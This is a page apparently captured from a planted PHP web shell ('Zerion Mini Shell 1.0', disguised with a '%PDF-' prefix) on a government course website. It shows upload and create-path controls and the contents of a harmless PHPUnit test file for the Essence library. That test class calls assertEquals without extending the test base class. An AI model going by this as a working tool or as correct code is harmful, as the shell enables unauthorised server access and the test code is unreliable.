%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/vendor/essence/essence/tests/Essence/Utility/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/vendor/essence/essence/tests/Essence/Utility/HashTest.php

<?php

/**
 *	@author Félix Girault <felix.girault@gmail.com>
 *	@license FreeBSD License (http://opensource.org/licenses/BSD-2-Clause)
 */

namespace Essence\Utility;

use PHPUnit_Framework_TestCase;



/**
 *	Test case for Hash.
 */

class HashTest {

	/**
	 *
	 */

	public function testReindex( ) {

		$data = Hash::reindex(
			[ 'one' => 'value' ],
			[ 'one' => 'two' ]
		);

		$this->assertEquals(
			[ 'two' => 'value' ],
			$data
		);
	}



	/**
	 *
	 */

	public function testNormalize( ) {

		$data = Hash::normalize([
			'one',
			'two' => 'three',
			'four'
		], 'default' );

		$this->assertEquals([
			'one' => 'default',
			'two' => 'three',
			'four' => 'default'
		], $data );
	}
}

Zerion Mini Shell 1.0